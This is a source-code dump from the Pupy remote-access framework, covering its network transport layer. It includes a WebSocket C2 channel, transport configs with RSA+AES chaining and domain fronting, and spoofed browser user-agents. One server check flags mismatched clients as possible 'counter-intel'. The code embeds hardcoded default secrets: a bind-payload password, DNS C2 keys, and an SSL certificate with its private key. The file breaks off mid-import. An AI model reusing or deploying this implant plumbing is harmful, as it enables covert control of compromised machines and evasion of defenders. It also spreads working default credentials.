    output.write(header, notify=False)
    data.write_to(output, modificator=modificator)


def remove_ws_encapsulation(data, output, buf, offset, remainder, mask=None):
    if remainder:

        encoder = None
        modificator = None
        if mask:
            encoder = XOR(mask, offset)
            modificator = encoder.strxor

        _, total_write = data.write_to(
            buf, n=remainder, modificator=modificator)

        remainder -= total_write
        if not remainder:
            _, msg_len = buf.write_to(output)
            return msg_len, encoder.offset if encoder else 0, remainder, mask
        else:
            return 0, encoder.offset if encoder else 0, remainder, mask

    if len(data) < 2:
        # Header too short
        dprint('Short read / 1: %d', len(data))

        return 0, offset, remainder, mask

    b1, b2 = struct.unpack('BB', data.peek(2))
    opcode = b1 & OPCODE
    masked = b2 & MASKED
    payload_len = b2 & PAYLOAD_LEN
    mask_len = MASK_LEN if masked else 0

    dprint('b1=%02x b2=%02x len=%d', b1, b2, payload_len)

    if not b1:
        raise EOFError('Client closed connection')
    elif opcode == OPCODE_CLOSE_CONN:
        raise EOFError('Client asked to close connection')
    elif opcode == OPCODE_CONTINUATION:
        raise EOFError('Continuation frames not currently supported')
    elif opcode == OPCODE_PING:
        raise EOFError('Pings not supported')
    elif opcode == OPCODE_PONG:
        raise EOFError('Pongs not supported')
    elif masked and not mask:
        raise EOFError('Masked message')

    if payload_len == PAYLOAD_LEN_EXT16:
        if len(data) < 2 + 2 + mask_len:
            # Header too short
            dprint('Header too short: %d < %d', len(data), 2 + 2 + mask_len)
            return 0, offset, remainder, bool(mask_len)

        _, _, payload_len = struct.unpack('>BBH', data.read(4))

    elif payload_len == PAYLOAD_LEN_EXT64:
        if len(data) < 2 + 8 + mask_len:
            # Header too short
            dprint('Header too short: %d < %d', len(data), 2 + 8 + mask_len)
            return 0, offset, remainder, bool(mask_len)

        _, _, payload_len = struct.unpack('>BBQ', data.read(10))
    else:
        if len(data) < 2 + mask_len:
            dprint('Header too short: %d < %d', len(data), 2 + mask_len)
            return 0, offset, remainder, bool(mask_len)

        # payload_len is b2, drain b1, b2
        data.drain(2)

    encoder = None
    modificator = None
    if mask_len:
        mask = data.read(mask_len)
        encoder = XOR(mask)
        modificator = encoder.strxor

    if len(data) >= payload_len:
        _, msg_len = data.write_to(
            output, modificator=modificator, n=payload_len)

        return msg_len, encoder.offset if encoder else 0, remainder, mask

    _, written = data.write_to(buf, modificator=modificator)
    remainder = payload_len - written
    return 0, encoder.offset if encoder else 0, remainder, mask

if sys.version_info[0]>2:
    def gen_random_key(size=16):
        return bytes(random.getrandbits(8) for _ in range(size))
else:
    def gen_random_key(size=16):
        return ''.join(random.sample(string.printable,size))

class PupyWebSocketTransport(BasePupyTransport):
    """
    Implements the http protocol transport for pupy.
    """
    __slots__ = ()


class PupyWebSocketClient(PupyWebSocketTransport):
    socketkey = gen_random_key()

    __slots__ = (
        'host', 'path', 'user_agent', 'offset',
        'missing_bytes', 'decoded', 'upgraded', 'mask',
        'connect', 'proxy', 'auth', 'upgraded_buf'
    )

    def __init__(self, *args, **kwargs):
        PupyWebSocketTransport.__init__(self, *args, **kwargs)

        self.upgraded = False
        self.missing_bytes = 0
        self.offset = 0
        self.decoded = Buffer()
        self.upgraded_buf = Buffer()
        self.user_agent = kwargs.get('user-agent')
        self.path = kwargs.get('path')
        self.connect = kwargs.get('connect', None)

        self.proxy = kwargs.get('proxy', False)
        self.auth = kwargs.get('auth', None)
        self.host = kwargs.get('host', None)

        if self.connect is None and self.host is not None:
            if ':' in self.host:
                host, port = self.host.rsplit(':', 1)
                port = int(port)
                self.connect = host, port
            else:
                self.connect = self.host, 80

        if self.host is None:
            self.host = 'www.' + ''.join(
                random.sample(string.lowercase + '.-',16)) + '.net'

        dprint(
            'WS Client, path=%s, user-agent=%s host=%s',
            self.path, self.user_agent, self.host)

    def on_connect(self):
        uri = self.path
        if self.proxy and self.connect:
            host, port = self.connect
            if port != 80:
                uri = (':' + str(port)) + uri

            uri = 'http://' + host + uri

        payload = [
            b'GET ', uri.encode('utf8'), b' HTTP/1.1\r\n',
            b'Host: ', self.host.encode('utf8'), b'\r\n',
            b'User-Agent: ', self.user_agent.encode('utf8'), b'\r\n',
            b'Upgrade: websocket\r\n',
            b'Connection: Upgrade\r\n'
        ]

        if self.proxy and self.auth:
            payload.append(b'Proxy-Authorization: Basic ')
            payload.append(
                base64.b64encode(b'{}:{}'.format(*self.auth))
            )

        payload.extend((
            b'Sec-WebSocket-Key: ', base64.b64encode(self.socketkey), b'\r\n',
            b'Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits\r\n',
            b'Sec-WebSocket-Version: 13\r\n\r\n'
        ))

        dprint('Send upgrade request')
        self.downstream.write(b''.join(payload))

    def upstream_recv(self, data):
        """
            raw data to websocket frame
            Encoding Client -> Server
            mask the data
        """
        try:
            mask = gen_random_key(size=MASK_LEN)
            if self.upgraded:
                add_ws_encapsulation(data, self.downstream, mask)
            else:
                add_ws_encapsulation(data, self.upgraded_buf, mask)

        except Exception as e:
            dprint("error in upstream_recv: %s", e)
            raise EOFError(str(e))

    def downstream_recv(self, data):
        """
            Decoding Server -> Client
            Non masked messages
        """
        try:
            if not self.upgraded:
                #let's parse HTTP responses :
                d = data.peek(len(UPGRADE_101_SUCCESS))
                if len(d) < len(UPGRADE_101_SUCCESS):
                    # Short answer
                    dprint('Short answer (%s)', repr(d))
                    return
                elif not d.startswith(b'HTTP/'):
                    raise EOFError('Invalid data')
                elif d.startswith(b'HTTP/') and not d.startswith(UPGRADE_101_SUCCESS):
                    raise EOFError('Invalid response: {}'.format(repr(data.read())))

                d = data.peek()
                if b'\r\n\r\n' not in d:
                    dprint('Incomplete header')
                    return

                EOFP = d.index(b'\r\n\r\n')
                data.drain(EOFP + 4)
                dprint('Connection upgraded')

                self.upgraded = True

                if self.upgraded_buf:
                    dprint('Flush buffer %d', len(self.upgraded_buf))

                    self.upgraded_buf.write_to(self.downstream)

            dprint('Parse ws messages')

            while data:
                msg_len, self.offset, self.missing_bytes, _ = remove_ws_encapsulation(
                    data, self.upstream, self.decoded, self.offset, self.missing_bytes
                )

                dprint(
                    'Parsed: %d, offset: %d, missing: %d, left: %d',
                    msg_len, self.offset, self.missing_bytes, len(data))

                if not msg_len:
                    break

        except Exception as e:
            dprint("error in downstream_recv: %s", e)
            raise EOFError(str(e))


class PupyWebSocketServer(PupyWebSocketTransport):
    __slots__ = (
        'user_agent', 'path', 'offset', 'upgraded_buf',
        'missing_bytes', 'upgraded', 'decoded', 'mask',
    )

    def __init__(self, *args, **kwargs):
        PupyWebSocketTransport.__init__(self, *args, **kwargs)
        self.upgraded = False
        self.user_agent = kwargs.pop('user-agent').encode('utf8')
        self.path = kwargs.pop('path').encode('utf8')
        self.mask = True
        self.offset = 0
        self.missing_bytes = 0
        self.decoded = Buffer()
        self.upgraded_buf = Buffer()

        dprint(
            'WS Server, path=%s, user-agent=%s',
            self.path, self.user_agent)

    def calculate_response_key(self, key):
        GUID = b'258EAFA5-E914-47DA-95CA-C5AB0DC85B11'
        hsh = sha1(key + GUID)
        return base64.b64encode(hsh.digest()).strip()

    def bad_request(self, msg):
        dprint(msg)

        self.downstream.write(error_response)
        self.close()

    def upstream_recv(self, data):
        """
            Encoding server -> client messages
            Messsages shouldn't be masked
        """
        try:
            if self.upgraded:
                add_ws_encapsulation(data, self.downstream)
            else:
                add_ws_encapsulation(data, self.upgraded_buf)

        except Exception as e:
            dprint("error in upstream_recv: %s", e)
            raise EOFError(str(e))

    def downstream_recv(self, data):
        """
            Decoding client -> server messages
            Message should be masked coming from client
        """
        try:
            if not self.upgraded:
                dprint('WS: Wait for upgrade request')

                d = data.peek()
                # Handle HTTP GET requests, strip websocket keys, verify UA etc
                if not d.startswith(b'GET '):
                    self.bad_request('Invalid HTTP method or data ({})'.format(repr(d)))

                if b'\r\n\r\n' not in d:
                    dprint('Short read, incomplete header')
                    return

                _, path, _ = d.split(b' ', 2)
                if path != self.path:
                    self.bad_request('Path does not match ({} != {})!'.format(
                        repr(path), repr(self.path)))
                    return

                wskey = None

                key = re.search(b'\n[sS]ec-[wW]eb[sS]ocket-[kK]ey[\\s]*:[\\s]*(.*)\r\n', d)
                if key:
                    wskey = key.group(1)
                else:
                    dprint('Unable to get WebSocketKey')

                if self.user_agent:
                    ua = re.search(b'\n[uU]ser-[aA]gent:[\\s]*(.*)\r\n', d)
                    if ua:
                        ua = ua.group(1)
                    else:
                        self.bad_request('No User-Agent provided')
                        return

                    if ua != self.user_agent:
                        self.bad_request(
                            'Bad User-Agent provided. May be counter-intel ({} != {})'.format(
                                ua, self.user_agent))
                        return

                payload = [
                    b'HTTP/1.1 101 Switching Protocols\r\n'
                    b'Upgrade: websocket\r\n'
                    b'Connection: Upgrade\r\n'
                ]

                if wskey:
                    payload.extend((
                        b'Sec-WebSocket-Accept: ', self.calculate_response_key(wskey), b'\r\n'
                    ))

                payload.append(b'\r\n')

                data.drain(d.index(b'\r\n\r\n') + 4)

                dprint('Flush upgrade response')
                self.downstream.write(b''.join(payload))

                if self.upgraded_buf:
                    dprint('Flush buffer %d', len(self.upgraded_buf))

                    self.upgraded_buf.write_to(self.downstream)

                self.upgraded = True

            while data:
                msg_len, self.offset, self.missing_bytes, self.mask = remove_ws_encapsulation(
                    data, self.upstream, self.decoded,
                    self.offset, self.missing_bytes, self.mask)

                dprint(
                    'Parsed: %d, offset: %d, missing: %d, left: %d',
                    msg_len, self.offset, self.missing_bytes, len(data))

                if not msg_len:
                    break
        except Exception as e:
            dprint("error in downstream_recv: %s", e)
            raise EOFError(str(e))


================================================
FILE: pupy/network/lib/utils.py
================================================
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at
# the root of the project for the detailed licence terms

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = (
    'TransportInfo', 'TransportException',
    'create_client_transport_info_for_addr',
    'parse_host', 'parse_transports_args',
    'HostInfo'
)


import sys
import shlex
import netaddr

from collections import namedtuple
from pupy.network.conf import transports

if sys.version_info.major > 2:
    basestring = str

TransportInfo = namedtuple(
    'TransportInfo', [
        'host', 'port', 'transport',
        'transport_args', 'client_args'
    ])

HostInfo = namedtuple(
    'HostInfo', [
        'host', 'port', 'hostname'
    ])


class TransportException(Exception):
    pass


def error(message, exit=True):
    if exit:
        raise SystemExit(message)
    else:
        raise TransportException(message)


def parse_transports_args(args, exit=True):
    if not isinstance(args, basestring):
        args = ' '.join(args)

    result = {}

    for value in shlex.split(args):
        if '=' not in value:
            error(
                'Transport arguments must be in format '
                'NAME=VALUE or "NAME=value with spaces"',
                exit=exit)

        key, value = value.split('=', 1)

        result[key.lower()] = value

    return result


def parse_host(host, default_port=443, hostname=None):
    port = default_port

    if ':' in host:
        try:
            netaddr.IPAddress(host)
        except netaddr.AddrFormatError:
            host, port = host.rsplit(':', 1)
            port = int(port)

    if host.startswith('[') and host.endswith(']'):
        host = host[1:-1]

    return HostInfo(host, port, hostname or host)


def create_client_transport_info_for_addr(
    transport_name,
        hostinfo, opt_args={}, bind_payload=None, exit=True):

    host, port, hostname = hostinfo
    if hostname is None:
        hostname = host

    if transport_name not in transports:
        error('Unregistered transport {}'.format(transport_name), exit=exit)

    transport_klass = transports[transport_name]
    transport = transport_klass(bind_payload=bind_payload)

    transport_args = transport.client_transport_kwargs
    client_args = transport.client_kwargs

    if 'host' not in opt_args:
        if ':' in hostname:
            hostname = '[' + hostname + ']'

        transport_args['host'] = '{}{}'.format(
            hostname, ':{}'.format(port) if port != 80 else ''
        )

    for key, value in opt_args.items():
        if key in client_args:
            client_args[key] = value
        elif key in transport_args:
            transport_args[key] = value
        else:
            error('Unknown transport argument: {}'.format(key), exit=exit)

    return TransportInfo(host, port, transport, transport_args, client_args)


================================================
FILE: pupy/network/transports/__init__.py
================================================
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root
# of the project for the detailed licence terms

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
__all__=[
    "Transport",
    "LAUNCHER_TYPE_ALL",
    "LAUNCHER_TYPE_BIND", "LAUNCHER_TYPE_CONNECT", "LAUNCHER_TYPE_DNSCNC",
    "DEFAULT_RSA_PUB_KEY", "DEFAULT_SSL_BIND_CERT", "DEFAULT_SSL_BIND_KEY",
    "DEFAULT_DNSCNC_PUB_KEY", "DEFAULT_DNSCNC_PRIV_KEY",
    "DEFAULT_BIND_PAYLOADS_PASSWORD"
]

class TransportException(Exception):
    pass

LAUNCHER_TYPE_ALL=0
LAUNCHER_TYPE_CONNECT=1
LAUNCHER_TYPE_BIND=2
LAUNCHER_TYPE_DNSCNC=3

DEFAULT_BIND_PAYLOADS_PASSWORD="PuPyD3f4ultP4sSw0rd"

DEFAULT_DNSCNC_PUB_KEY='v6iJnUBFI1qeQ9jrP2NZsTd4qwYB'
DEFAULT_DNSCNC_PRIV_KEY='XqYoPdC5LR8Ct0givPQRBlKv41o='

DEFAULT_RSA_PUB_KEY="""
-----BEGIN RSA PUBLIC KEY-----
MIICCgKCAgEAu1AvqNawlgXdpT3s0/YoOSj3bSsGOd2UXrDKmEt3VkGvDVyxllwm
9TctdCIS8X9ziOtpSH2yYcS1zwVD0qb/Dt6im6Z0jiaiizsZPqJL16SfmP7b41ub
iCcM4a3gI1wRxt3HtBDgqPVZTqsKPsC3m6fiWfOQCy9CmLSBlwwE+9+elnUG4pvA
XQn0KDdrnzo5qGLxFyj9/jLI4y+rhS9DlwgsmFd42MCaJ/CgceM7QChN0zjxxT23
Y/RSR6wnYKasDbz7KoCa/QkYpvN4XqmvUZVQDI2y8F87ta/Cqo3UMEz5hNYt96LU
KN2qXNVOeiCO57tFFriWnKk6cAFHgrGzwA23xKUYB9/YivaEMjrh7C3907B+I1bK
t/BXOxdRwbTHkWQWrpxfUGs+5LJzwwsixzNJOifqgFyZTef6EyNTwSyr0oRslNk7
JIrE1Lab5Ve26+M92pCrs/UOIxpSWSKRmJeWcyAiw3crYrzAxC9r654BnmCfeWtn
MRAWmUrljx6aJSojTAbeY9aDDrYQRuQ7VevO+SHxYwOG/1Jq+qgznTN3zroUI97w
5g1oVVJrthUrYQZYKboaiEZmQckxLU5ca9pAyXu/o4pa1ez4a14YbollG9bjSnbK
+qRicAn26w5undwWlPX52DnrOw0v9sAqazfzG5rMH7mKWnSDvHPWOAsCAwEAAQ==
-----END RSA PUBLIC KEY-----
"""
DEFAULT_SSL_BIND_CERT = """
-----BEGIN CERTIFICATE-----
MIIDczCCAlugAwIBAgIJAK4ksVkg9NIlMA0GCSqGSIb3DQEBCwUAMFAxCzAJBgNV
BAYTAkZSMQwwCgYDVQQIDANQT1UxDjAMBgNVBAcMBUpBSVVZMQ8wDQYDVQQKDAZM
T0xJVEExEjAQBgNVBAsMCVMgQ09NTUUgPzAeFw0xNjA3MTUxODQyMTNaFw0xOTA0
MTExODQyMTNaMFAxCzAJBgNVBAYTAkZSMQwwCgYDVQQIDANQT1UxDjAMBgNVBAcM
BUpBSVVZMQ8wDQYDVQQKDAZMT0xJVEExEjAQBgNVBAsMCVMgQ09NTUUgPzCCASIw
DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANyq22QP5r5i9J3hfZDY0ja3098A
lAYUq7Ua62d1iJvsp7QyTLO8q5Q5MVkeUI+J2qU2VUPsCo6TA9qW9CYMEWAuRE50
oG/Q3lGCXmh6QoExgQs5BzVj0q9b+l+O9DYqt4SCwkp6jHRedM05W98L9qM1yPkc
bfQjWhN6V0kHjdVSchomReUtS5JrDasKklBSSJ2Au4bOTzt+VKO8YYEaC/sASBT+
W1Z5XfSDWxnDyks94GGEgIetMmFhYAlhy3cuWCmDCeLDZKmLYS1ufSyEGQBz002S
IedKJM9h/Cf64oNer1qgMYxdsX1zwSEhIZz7osk6H9eE/AgrHfnkWDNzjbMCAwEA
AaNQME4wHQYDVR0OBBYEFEhJiWWQoxVJK37zDDZzQhue/rxKMB8GA1UdIwQYMBaA
FEhJiWWQoxVJK37zDDZzQhue/rxKMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEL
BQADggEBAMWbHWK1ZJcTvsmaM9/7P0bpBmN8pg86nZBkGKdUjm2jPjIHOavW7pSU
VEhV1g6aXHX8E6eiG82uh49FCWcmWMbKGQFxpueCOR7cASbGeeIiOugnOoLtfS/D
PC39Fc2t6AqB1RfTlG66UFOIf2SRfHwP5JKSoKxwF/JYXoEppbiQ0ew2JXIsRzgI
+HHjl0I72fjwPi/f4LQh8cLvD4roiiuneCmqelsW3Bx9rZ9HMPCVhnmqHOgjgMV0
Yv+23qYfV56D4ZsKHzbYgb2RjfGKyN1tt8UfkpGSecekPN9yj6AiWAeG8DJcxWja
9CuF53F4g+3ShRW8KtA29CgJBq5PQFY=
-----END CERTIFICATE-----
"""
DEFAULT_SSL_BIND_KEY = """
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDcqttkD+a+YvSd
4X2Q2NI2t9PfAJQGFKu1GutndYib7Ke0MkyzvKuUOTFZHlCPidqlNlVD7AqOkwPa
lvQmDBFgLkROdKBv0N5Rgl5oekKBMYELOQc1Y9KvW/pfjvQ2KreEgsJKeox0XnTN
OVvfC/ajNcj5HG30I1oTeldJB43VUnIaJkXlLUuSaw2rCpJQUkidgLuGzk87flSj
vGGBGgv7AEgU/ltWeV30g1sZw8pLPeBhhICHrTJhYWAJYct3Llgpgwniw2Spi2Et
bn0shBkAc9NNkiHnSiTPYfwn+uKDXq9aoDGMXbF9c8EhISGc+6LJOh/XhPwIKx35
5Fgzc42zAgMBAAECggEAXBUgP/0yuLfqhAeYsl0IO7UyQJipLHBrxsNZAG9Xdlmn
Edb7kvVkVBIZuaqgy4UnLFIj+pgBP8WxkgH0F/xpM82ay3J3kLGEVFcmtkpufiL+
SoSdsXXacTrcnAu3dPMWacF2+kVxXw4bh5gr8kO3xBuppeprJ7mo2P/wdJUmZqGe
SjkZew7mn6CZrSzHZZRupw/qWCu6DcRZsj0I7UnaYDCQdz4ajB6Qn+Zm1wdATpl9
IYJpe93sIvcbcVgIHsGPoLgvgAWi+ShJBY4732/Ir5qqXcRcrBvvwNGayswONdpp
JczPjO1O0xoDxf7NeNHd8M6wuiFzNHzrTCkd+04pQQKBgQD5hhZUX+Y02A3x1QX5
Kw1txB199nV4gQ3fGdifktIGRKBEmqQwB4EJqSRHaaXMdh/rfK7xXGRiULNbRl9c
q2Fbf8THpgyNXVdlMRtcWQrGFLMHgo1llz5k6VqNPbEWQHUYKvu6hZSA5WuYW6Gt
U4K4k07a71Yo+/sMZS04x4qwKQKBgQDiZQoHuRh+WPGFmMZv3GfmT8JogrLBvvwg
tIysFF9j3P0xzBEjT+7i98UCacdtxUyTecm8kQYDipowRETOXOC8FuRpU3gYbELw
9cdzhdHWuiWTNk42yQ6Yucu2/WUo10HQ/yKPuQunb2Xj81eB2FMla8GxVcvskNkq
K8uVjR7aewKBgFJ3upGQUGlOru0qVpsPW5TXqFelSRXWsVr3E91JjRh9PeruoS0u
jbs/p7nidOWqdMpDnx4uRw8nVN/p1kKucbLn+4Vwn91o6CWNoVlYJHNrC/CDeXAG
GJ0JcuATb5/HFewy6Jew5m/jYzgrsLe0ThPqu7koOPW6sjJajiOh73hhAoGBAIXT
XD58d7IYOYzTZlmxW+mUtEK7H5fPoZJjp9QApvKNK05IZskM8xVPiTGH/c8xlbaH
g2zn/ToSsFpfwJyL4nzMu3BXWuJ0/I0bfC8Zp5TarGN88ncIGozFJ1qgJzAhLlKw
vmle5TiwbPZ2Xf/vNBcmv3RoVwccCIMZKFra9KYJAoGAXUN+JuAgg4PD895vHycu
lhQSPXHIeyYb66H3DxoeHB3zxTHKlWOekBWk2HQ/19THedXpY5hDKayvFLbTMNZz
ANvQJD17X6lG7svjuvIbB4EA4Ho9oWJfD+R6u8xpBFm2kqd0A2BqqOlyvkYtU4FD
ZWz7p5p+MA8a2SjqgYP6Dlo=
-----END PRIVATE KEY-----
"""



class Transport(object):
    info="no description available"
    server=None
    client=None
    client_kwargs={}
    authenticator=None
    stream=None
    client_transport=None
    server_transport=None
    dependencies=[] # dependencies needed when generating payloads
    credentials=[] # list of credentials to embbed during payload generation
    name=None
    launcher_type=LAUNCHER_TYPE_ALL
    dgram=False
    internal_proxy_impl = []

    def __init__(self, bind_payload=False):
        super(Transport, self).__init__()
        self.bind_payload=bind_payload
        if self.bind_payload:
            self.launcher_type=LAUNCHER_TYPE_BIND
        self.client_transport_kwargs={}
        self.server_transport_kwargs={}

    def parse_args(self, args):
        """ parse arguments and raise an error if there is missing/incorrect arguments """
        self.client_transport_kwargs.update(args)
        self.server_transport_kwargs.update(args)


================================================
FILE: pupy/network/transports/dfws/__init__.py
================================================


================================================
FILE: pupy/network/transports/dfws/conf.py
================================================
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.network.transports import Transport, LAUNCHER_TYPE_BIND
from pupy.network.lib import PupyTCPServer, PupySSLClient, PupySocketStream
from pupy.network.lib import RSA_AESClient, RSA_AESServer, PupyWebSocketClient, PupyWebSocketServer
from pupy.network.lib import chain_transports

from hashlib import md5

DEFAULT_USER_AGENT = \
  'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 ' \
  '(KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36'

class TransportConf(Transport):
    info = "TCP transport using Websocket with RSA+AES with support of domain fronting"
    name = "dfws"
    server = PupyTCPServer
    client = PupySSLClient
    client_kwargs = {
        'ssl_auth': False,
    }
    stream = PupySocketStream
    credentials = ['SIMPLE_RSA_PRIV_KEY', 'SIMPLE_RSA_PUB_KEY', 'PATH_GEN_SECRET']

    def __init__(self, *args, **kwargs):
        Transport.__init__(self, *args, **kwargs)

        try:
            import pupy_credentials
            RSA_PUB_KEY = pupy_credentials.SIMPLE_RSA_PUB_KEY
            RSA_PRIV_KEY = pupy_credentials.SIMPLE_RSA_PRIV_KEY
            PATH_GEN_SECRET = pupy_credentials['PATH_GEN_SECRET']

        except ImportError:
            from pupy.pupylib.PupyCredentials import Credentials
            credentials = Credentials()
            RSA_PUB_KEY = credentials['SIMPLE_RSA_PUB_KEY']
            RSA_PRIV_KEY = credentials['SIMPLE_RSA_PRIV_KEY']
            PATH_GEN_SECRET = credentials['PATH_GEN_SECRET']

        self.client_transport_kwargs.update({
            'host': None,
            'path': '/ws/' + ''.join(md5(PATH_GEN_SECRET+b"dfws").hexdigest()[:8]),
            'user-agent': DEFAULT_USER_AGENT
        })

        self.server_transport_kwargs.update({
            'path': '/ws/' + ''.join(md5(PATH_GEN_SECRET+b"dfws").hexdigest()[:8]),
            'user-agent': DEFAULT_USER_AGENT
        })

        if self.launcher_type == LAUNCHER_TYPE_BIND:
            self.client_transport = chain_transports(
                    PupyWebSocketClient,
                    RSA_AESServer.custom(privkey=RSA_PRIV_KEY, rsa_key_size=4096, aes_size=256),
                )
            self.server_transport = chain_transports(
                    PupyWebSocketServer,
                    RSA_AESClient.custom(pubkey=RSA_PUB_KEY, rsa_key_size=4096, aes_size=256),
                )

        else:
            self.client_transport = chain_transports(
                    PupyWebSocketClient,
                    RSA_AESClient.custom(pubkey=RSA_PUB_KEY, rsa_key_size=4096, aes_size=256),
                )
            self.server_transport = chain_transports(
                    PupyWebSocketServer,
                    RSA_AESServer.custom(privkey=RSA_PRIV_KEY, rsa_key_size=4096, aes_size=256),
                )


================================================
FILE: pupy/network/transports/ec4/__init__.py
================================================


================================================
FILE: pupy/network/transports/ec4/conf.py
================================================
# -*- coding: utf-8 -*-
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.network.transports import Transport, LAUNCHER_TYPE_BIND
from pupy.network.lib import PupyTCPServer, PupyTCPClient, PupySocketStream
from pupy.network.lib import EC4TransportClient, EC4TransportServer

class TransportConf(Transport):
    info = "ECPV + RC4"
    name = "ec4"
    server = PupyTCPServer
    client = PupyTCPClient
    stream = PupySocketStream
    client_transport = EC4TransportClient
    server_transport = EC4TransportServer
    credentials = ['ECPV_RC4_PUBLIC_KEY', 'ECPV_RC4_PRIVATE_KEY']

    def __init__(self, *args, **kwargs):
        Transport.__init__(self, *args, **kwargs)
        try:
            import pupy_credentials
            PUB_KEY = pupy_credentials.ECPV_RC4_PUBLIC_KEY
            PRIV_KEY = pupy_credentials.ECPV_RC4_PRIVATE_KEY

        except ImportError:
            from pupy.pupylib.PupyCredentials import Credentials
            credentials = Credentials()
            PUB_KEY = credentials['ECPV_RC4_PUBLIC_KEY']
            PRIV_KEY = credentials['ECPV_RC4_PRIVATE_KEY']

        if self.launcher_type == LAUNCHER_TYPE_BIND:
            self.client_transport = EC4TransportServer.custom(privkey=PRIV_KEY)
            self.server_transport = EC4TransportClient.custom(pubkey=PUB_KEY)

        else:
            self.server_transport = EC4TransportServer.custom(privkey=PRIV_KEY)
            self.client_transport = EC4TransportClient.custom(pubkey=PUB_KEY)


================================================
FILE: pupy/network/transports/ecm/__init__.py
================================================


================================================
FILE: pupy/network/transports/ecm/conf.py
================================================
# -*- coding: utf-8 -*-
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.network.transports import Transport, LAUNCHER_TYPE_BIND
from pupy.network.lib import PupyTCPServer, PupyTCPClient, PupySocketStream
from pupy.network.lib import ECMTransportClient, ECMTransportServer

class TransportConf(Transport):
    info = "ECPV + AES/GCM"
    name = "ecm"
    server = PupyTCPServer
    client = PupyTCPClient
    stream = PupySocketStream
    client_transport = ECMTransportClient
    server_transport = ECMTransportServer

    # Reuse EC4 creds
    credentials = ['ECPV_RC4_PUBLIC_KEY', 'ECPV_RC4_PRIVATE_KEY']

    def __init__(self, *args, **kwargs):
        Transport.__init__(self, *args, **kwargs)
        try:
            import pupy_credentials
            PUB_KEY = pupy_credentials.ECPV_RC4_PUBLIC_KEY
            PRIV_KEY = pupy_credentials.ECPV_RC4_PRIVATE_KEY

        except ImportError:
            from pupy.pupylib.PupyCredentials import Credentials
            credentials = Credentials()
            PUB_KEY = credentials['ECPV_RC4_PUBLIC_KEY']
            PRIV_KEY = credentials['ECPV_RC4_PRIVATE_KEY']

        if self.launcher_type == LAUNCHER_TYPE_BIND:
            self.client_transport = ECMTransportServer.custom(privkey=PRIV_KEY)
            self.server_transport = ECMTransportClient.custom(pubkey=PUB_KEY)

        else:
            self.server_transport = ECMTransportServer.custom(privkey=PRIV_KEY)
            self.client_transport = ECMTransportClient.custom(pubkey=PUB_KEY)


================================================
FILE: pupy/network/transports/http/__init__.py
================================================


================================================
FILE: pupy/network/transports/http/conf.py
================================================
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.network.transports import Transport, LAUNCHER_TYPE_BIND
from pupy.network.lib import PupyTCPServer, PupyTCPClient, PupySocketStream
from pupy.network.lib import PupyHTTPClient, RSA_AESClient
from pupy.network.lib import PupyHTTPServer, RSA_AESServer
from pupy.network.lib import chain_transports

class TransportConf(Transport):
    info = "TCP transport using HTTP with RSA+AES"
    name = "http"
    server = PupyTCPServer
    client = PupyTCPClient
    stream = PupySocketStream
    credentials = ['SIMPLE_RSA_PRIV_KEY', 'SIMPLE_RSA_PUB_KEY']
    internal_proxy_impl = ['HTTP']

    def __init__(self, *args, **kwargs):
        Transport.__init__(self, *args, **kwargs)

        self.client_transport_kwargs.update({
            'host': None
        })

        try:
            import pupy_credentials
            RSA_PUB_KEY = pupy_credentials.SIMPLE_RSA_PUB_KEY
            RSA_PRIV_KEY = pupy_credentials.SIMPLE_RSA_PRIV_KEY

        except ImportError:
            from pupy.pupylib.PupyCredentials import Credentials
            credentials = Credentials()
            RSA_PUB_KEY = credentials['SIMPLE_RSA_PUB_KEY']
            RSA_PRIV_KEY = credentials['SIMPLE_RSA_PRIV_KEY']

        user_agent = 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) '\
          'Chrome/41.0.2228.0 Safari/537.36'

        if self.launcher_type == LAUNCHER_TYPE_BIND:
            self.client_transport = chain_transports(
                    PupyHTTPClient.custom(keep_alive=True, user_agent=user_agent),
                    RSA_AESServer.custom(privkey=RSA_PRIV_KEY, rsa_key_size=4096, aes_size=256),
                )
            self.server_transport = chain_transports(
                    PupyHTTPServer.custom(verify_user_agent=user_agent),
                    RSA_AESClient.custom(pubkey=RSA_PUB_KEY, rsa_key_size=4096, aes_size=256),
                )

        else:
            self.client_transport = chain_transports(
                    PupyHTTPClient.custom(keep_alive=True, user_agent=user_agent),
                    RSA_AESClient.custom(pubkey=RSA_PUB_KEY, rsa_key_size=4096, aes_size=256),
                )
            self.server_transport = chain_transports(
                    PupyHTTPServer.custom(verify_user_agent=user_agent),
                    RSA_AESServer.custom(privkey=RSA_PRIV_KEY, rsa_key_size=4096, aes_size=256),
                )


================================================
FILE: pupy/network/transports/kc4/__init__.py
================================================


================================================
FILE: pupy/network/transports/kc4/conf.py
================================================
# -*- coding: utf-8 -*-
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.network.transports import Transport, LAUNCHER_TYPE_BIND
